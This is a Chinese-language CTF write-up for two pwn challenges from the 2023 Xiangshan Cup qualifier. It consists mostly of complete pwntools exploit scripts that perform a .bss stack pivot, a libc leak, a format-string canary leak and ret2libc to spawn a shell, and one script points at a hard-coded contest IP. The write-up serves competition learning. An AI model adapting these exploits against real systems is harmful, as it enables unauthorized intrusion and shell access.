香山杯 2023 初赛 Pwn WriteUp

目录

中华武术杯线下和香山杯时间冲了?

无所谓,反正AWDP只有一上午还不断网,看我双开!

我是超人!

香山杯 2023 初赛 Pwn WriteUp

Pwn附件下载地址

move

给了bss段任意写的栈迁移 比新生赛简单

而且还是bss高地址,连调栈都不用考虑

直接放exp

注释掉的两行sendafter是因为本以为还要迁一下,调的时候发现布置完直接getshell了所以……

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
#s=process("./pwn")
s=remote("101.201.70.204",27302)
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")

rdi=0x0000000000401353
rsi_r15=0x0000000000401351
leave_ret=0x40124B
bssval=0x4050A0
s.sendafter(b"again!\n",flat([
    rdi,elf.got.puts,
    elf.plt.puts,
    elf.sym.main,
]))
s.sendafter(b"number",p32(0x12345678))

s.sendafter(b"TaiCooLa",flat([b"A"*0x30,bssval-8,leave_ret]))
libc.address=u64(s.recvline()[:-1].ljust(8,b"\x00"))-libc.sym.puts
success(hex(libc.address))
pause()
s.sendlineafter(b"again!\n",flat([
    rdi,libc.address+0x00000000001b3d88,
    libc.sym.system,
]))

#s.sendafter(b"number",p32(0x12345678))

#s.sendafter(b"TaiCooLa",flat([b"A"*0x30,bssval-8,leave_ret]))

s.interactive()

Pwthon

调环境调了一下午,最后去digitalocean开了一台debian10,最后也没出来。

不会降级python的痛。

给了一个编译好的linux.so库,需要python3.7环境。

搜一下选项0里出来的gift就能看到对应函数,里面先是一个fmt然后一个栈溢出。

然而当时套了一层__printf_chk的fmt我没看出来。fork!

但是形如%6$p这种好像没法用,只能%p.%p...一个一个堆过去。

泄露canary打ret2libc即可。

脚本中环境基于digitalocean-debian10,glibc版本2.28,比赛时远程版本似乎为2.27-3ubuntu1.5

单独--set-interpreter失败,提示没有.interp

patch了app.so的rpath但是还是没patch上,摆了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# env: digitalocean debian 10, glibc version 2.28
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
#s=remote("123.56.25.124",16147)
s=process(["python3","main.py"])
libc=ELF("./libc-2.28.so")
elf=ELF("./app.cpython-37m-x86_64-linux-gnu.so")
s.sendline(b"2")
s.sendline(b"flag")
s.sendline(b"0")
s.recvuntil(b"Give you a gift ")
elf.address=eval(s.recv(14))-0x68b0
rdi=elf.address+0x0000000000003f8f
rsi=elf.address+0x0000000000003cd9
success("some_base: "+hex(elf.address))
#info("breakat: "+hex(elf.address+0x9a3d))
s.sendline("%p."*32)
for i in range(31):
    s.recvuntil(b".")
canary=eval(s.recvuntil(b".")[:-1])
success(hex(canary))
s.recv()
s.sendline(flat([
    b"A"*0x108,canary,elf.address+0x100000,
    rdi,elf.got.puts,elf.plt.puts,elf.address+0x99f0
]))
s.recvline()
libc.address=u64(s.recvline()[:-1].ljust(8,b"\x00"))-libc.sym.puts#-(0x7fd1d796fa40-0x7f4a067d6000)-((0x7f303e94c000-0x7fb80fa74000))
success(hex(libc.address))
pause()
binsh=libc.address+0x000000000018052c
s.sendline(flat([
    b"A"
]))
s.sendline(flat([
    b"a"*0x108,canary,elf.address+0x100000,
    rdi,binsh,libc.sym.system,
]))
s.interactive()
0%